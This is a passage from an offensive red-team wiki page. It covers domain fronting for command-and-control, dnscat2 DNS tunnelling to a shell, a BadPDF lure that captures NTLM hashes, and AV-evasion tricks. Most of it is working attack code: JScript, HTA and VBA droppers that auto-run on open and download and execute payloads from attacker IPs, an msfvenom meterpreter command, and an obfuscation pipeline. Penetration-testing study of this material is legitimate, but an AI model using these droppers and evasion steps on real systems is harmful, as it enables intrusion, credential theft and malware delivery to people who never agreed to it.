Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
